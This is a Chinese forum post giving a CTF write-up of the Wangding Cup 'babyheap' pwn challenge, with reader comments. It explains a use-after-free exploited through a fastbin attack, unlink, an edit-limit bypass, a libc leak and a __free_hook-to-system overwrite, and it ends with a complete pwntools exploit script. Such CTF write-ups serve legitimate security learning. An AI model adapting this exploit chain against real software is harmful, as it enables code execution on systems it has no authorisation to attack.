首页
论坛
课程
招聘
[原创]网鼎杯第一场预选 babyheap
2018-8-21 00:16 13552

[原创]网鼎杯第一场预选 babyheap

2018-8-21 00:16
13552

前言

参加第一场,侥幸做出两道pwn和签到就进了前50。。貌似自己是前五十做题数量最少的。。时间不够就做出两道babyheap及GUESS。分数全靠babyheap来的。。

程序保护


程序除了没开启pie其他保护都已开启。

程序功能


很全面的菜单题。有create,edit,show,free功能。

create功能,能创建10个大小为0x30的堆块。并能进行写入。无漏洞点。

edit功能。每次edit会使dword_6020B0值+1.当dword_6020B0值为3时,不能进行edit。作用是限制只能进行三次edit。无漏洞点。

show功能,输出堆块内容。用于信息泄露

free功能。free功能存在明显的UAF漏洞,悬挂指针未请空。free功能无限制,可以任意次数的free。

利用思路

程序存在UAF漏洞,难题在于如何通过10次0x30大小的堆块创建及三次的edit完成内存的写入及信息的泄露。
这里先考虑如何完成内存写的问题。malloc的大小被固定,于是fastbin attack不可行。
再考虑unlink。程序未开启PIE,且存在edit功能,若我们能实现unlink,就可以写入保存堆块的地址,实现任意地址写。
但是fast chunk不存在unlink,我们需要free两个small chunk。这里我们可以通过在堆块的特定部分写入0x31实现fastbin attack写入下一个堆块头。使三个0x30chunk组成一个0x91的chunk,free掉。就可以实现unlink。unlink后还要突破edit次数为3的限制。下一部分仔细说。这里总结思路。
首先通过fastbin泄露堆的地址。通过堆的地址及UAF漏洞实现fastbin attack,修改特定堆块的size为0x91。
最终实现0x91 fd bk。。。。。。0x90 0x90
free下面的堆块实现unlink,此时就可以向保存堆块的数组写入。
因为在上面构造过程会使用掉edit的次数。所以我们需要突破edit的限制。即修改dword_6020B0值不为3.
之后就可以向free_hook写入system。free掉bin/sh。完成利用。

利用过程

1.通过fastbin泄露堆的地址。

a=malloc(0x20)
b=malloc(0x20)
c=malloc(0x20)//防止和top chunk合并
free(b)
free(a)//先free a会导致最低位为0x0.输出不出来
show(b)//泄露出heap的地址。

2.通过堆的地址及UAF漏洞实现fastbin attack

a=create(0x20,p64(0x31)3)
b=create(0x20)
c=create(0x20)
free(b)
edit(b,&a+0x10)
d=create(0x20)
e=create(0x20)
就可以覆盖c的堆块头。这里消耗两次edit制造两次fastbin attack。
构造过程如下
create(1,p64(0x31)3+chr(0x31))
create(2,’/bin/sh’)
create(3,’’)
create(4,p64(0x31)*3)
create(5,’’)
create(6,’’)
create(7,’’)
先创造7个堆块


free 3和2进行堆地址泄露



通过两次edit和两次create实现如图构造。已使用10次create及2次edit



3.unlink及突破edit限制

查看发现地址已被修改。但是并不能通过edit修改突破edit的限制。。。。因为即便是以数组最后一项来unlink。能写入的范围也只能到数组最后一项。(只能写入0x20大小)最坑的地方。。。。但还是必须要以数组最后一项来unlink。(伪造堆块用)
我们只剩一次edit的机会。除了free没有别的可以利用。233,我们通过edit伪造数组最后两项为chunk的pre_size和size伪造一个堆块。size为heap地址-0x6020a0+1。这样free,堆块1为fast chunk 不会unlink。会将伪造chunk当作一个巨大的unsorted bin chunk。。。

这时dword_6020B0的值被修改为unsorted bin的地址。。。顺便地址泄露出libc基址。。还真的一点不浪费。上面没有机会再free(create和edit次数不够)。
此时edit的限制也被突破。

常规思路修改free_hook为system。free2.拿到flag

脚本

m pwn import *

p=process(['./babyheap'],env={'LD_PRELOAD':'./libc.so.6'},aslr='FALSE')
#p=remote('106.75.67.115',9999)
e=ELF('./libc.so.6')
def create(a,b):
	p.writeline('1')
	p.readuntil('Index:')
	p.writeline(str(a))
	p.readuntil('Content:')
	p.writeline(b)
	p.readuntil('Choice:')
def dele(a):
	p.writeline('4')
	p.readuntil('Index:')
	p.writeline(str(a))
	p.readuntil('Choice:')
def edit(a,b):
	p.writeline('2')
	p.readuntil('Index:')
	p.writeline(str(a))
	p.readuntil('Content:')
	p.writeline(b)
	p.readuntil('Choice:')
context(log_level='debug')
p.readuntil('Choice:')
create(1,p64(0x31)*3+chr(0x31))
create(2,'/bin/sh')
create(3,'')
create(4,p64(0x31)*3)
create(5,'')
create(6,'')
create(7,'')
dele(2)
dele(3)
p.writeline('3')
p.readuntil('Index:')
p.writeline('3')
heap=u64((p.readuntil('\n')[:-1]).ljust(8,chr(0x0)))-0x30
print hex(heap)
edit(3,p64(heap+0xa0))


zz=p64(0x90)*3+chr(0x90)
create(8,'')
edit(4,p64(0x31)*2+p64(heap+0x20))

create(0,zz)

zz=p64(0x0)+p64(0x91)+p64(0x6020a8-0x18)+p32(0x6020a8-0x10)
create(9,zz)

dele(5)

edit(9,p64(0x6020b0)+p64(0x6020a0)+p64(0)+p32(heap-0x6020a0+1))

dele(6)
gdb.attach(p)
p.writeline('3')
p.readuntil('Index:')
p.writeline('6')
libc=u64((p.readuntil('\n')[:-1]).ljust(8,chr(0x0)))-0x3C4B78
print hex(libc)
system=libc+e.symbols['system']
free_hook=libc+e.symbols['__free_hook']
edit(7,p64(free_hook))
edit(8,p64(system))



p.interactive()

总结

这道题出的真的好,我觉得我做的应该是预期解。非常极限。网鼎杯质量真的不错(可能是自己太菜)。有错误或更简单的做法欢迎交流。进前50还是很开心。有大佬让抱腿就好了23333。题什么的侵权秒删


[看雪官方]《安卓高级研修班》线下班,网课(12月)班开始同步招生!!

最后于 2019-1-28 14:35 被admin编辑 ,原因:
上传的附件:
收藏
点赞0
打赏
分享
最新回复 (24)
雪    币: 221
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Southseast 活跃值 2018-8-21 09:45
2
0
师傅tql
雪    币: 5
活跃值: 活跃值 (17)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
Reshahar 活跃值 2018-8-21 09:50
3
0
雪    币: 2945
活跃值: 活跃值 (33)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
V1NKe 活跃值 2 2018-8-21 09:58
4
0
雪    币: 93
活跃值: 活跃值 (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
LiDogEgg 活跃值 2018-8-21 10:38
5
0
writeup都看不懂系列
雪    币: 4953
活跃值: 活跃值 (41)
能力值: ( LV13,RANK:314 )
在线值:
发帖
回帖
粉丝
notwolf 活跃值 4 2018-8-21 10:48
6
0
牛逼 
雪    币: 314
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
筠溪 活跃值 1 2018-8-21 12:49
7
0
大神,发一下guess的呗
雪    币: 24
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Vuler 活跃值 2018-8-21 14:08
8
0
求大神所有的wp...pwn一道题多少分值啊
雪    币: 3619
活跃值: 活跃值 (68)
能力值: ( LV15,RANK:379 )
在线值:
发帖
回帖
粉丝
Ezrak1e 活跃值 4 2018-8-21 14:46
9
0
Vuler 求大神所有的wp...pwn一道题多少分值啊
这道400.
雪    币: 349
活跃值: 活跃值 (36)
能力值: ( LV5,RANK:65 )
在线值:
发帖
回帖
粉丝
iosmosis 活跃值 1 2018-8-21 16:13
10
0
很详细 感谢大佬分享
雪    币: 245
活跃值: 活跃值 (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
peekl 活跃值 2018-8-21 21:58
11
0
有个疑问,dele(2)以后,chunk2的/bin/sh就变成了0了,最后再次free(2),相当于system(2),但是参数已经变成零了啊,为什么能拿到shell ?
雪    币: 5453
活跃值: 活跃值 (232)
能力值: ( LV17,RANK:1155 )
在线值:
发帖
回帖
粉丝
holing 活跃值 15 2018-8-21 22:35
12
0
sixty的梦想 这道400.
这个比赛老实做题不如py flag
雪    币: 3619
活跃值: 活跃值 (68)
能力值: ( LV15,RANK:379 )
在线值:
发帖
回帖
粉丝
Ezrak1e 活跃值 4 2018-8-21 23:30
13
0
peekl 有个疑问,dele(2)以后,chunk2的/bin/sh就变成了0了,最后再次free(2),相当于system(2),但是参数已经变成零了啊,为什么能拿到shell ?
才发现。可以free5,6,7.。。这个比赛可能执行了system就给flag了。
雪    币: 3619
活跃值: 活跃值 (68)
能力值: ( LV15,RANK:379 )
在线值:
发帖
回帖
粉丝
Ezrak1e 活跃值 4 2018-8-21 23:30
14
0
holing 这个比赛老实做题不如py flag
惊现holing大佬
雪    币: 3619
活跃值: 活跃值 (68)
能力值: ( LV15,RANK:379 )
在线值:
发帖
回帖
粉丝
Ezrak1e 活跃值 4 2018-8-21 23:31
15
0
筠溪 大神,发一下guess的呗[em_3]
guess就三次泄露。ssp leak。查一下就会了
雪    币: 245
活跃值: 活跃值 (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
peekl 活跃值 2018-8-22 08:30
16
0
sixty的梦想 才发现。可以free5,6,7.。。这个比赛可能执行了system就给flag了。
没听明白
雪    币: 1124
活跃值: 活跃值 (35)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
CRoot 活跃值 2018-8-24 22:45
17
0
为啥图碎了这么多
雪    币: 4258
活跃值: 活跃值 (1192)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2018-8-25 12:32
18
0
楼主看过beijing那道题么??逆向题,源码copy出来了,但是就是解不出结果。。。不知楼主可否帮个忙(私聊
雪    币: 31
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
singhost 活跃值 2018-9-4 21:06
22
0
楼主后面有些步骤看不大懂,但我发现一个更简洁的方法,不需要突破edit的限制,只需要三次edit就能获得shell
雪    币: 36
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
sniperfaith 活跃值 2018-10-18 09:24
23
0
师傅,fastbin attack不可行是不是开了full relro啊,感觉跟堆大小固定没啥关系
雪    币: 3619
活跃值: 活跃值 (68)
能力值: ( LV15,RANK:379 )
在线值:
发帖
回帖
粉丝
Ezrak1e 活跃值 4 2018-10-18 22:41
24
0
和full relro有关。但是如果大小不固定可以去直接改mallochook
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
git_38724summerN 活跃值 2020-3-27 20:04
25
0
请问,为啥覆盖大小的时候是p32
游客
登录 | 注册 方可回帖
返回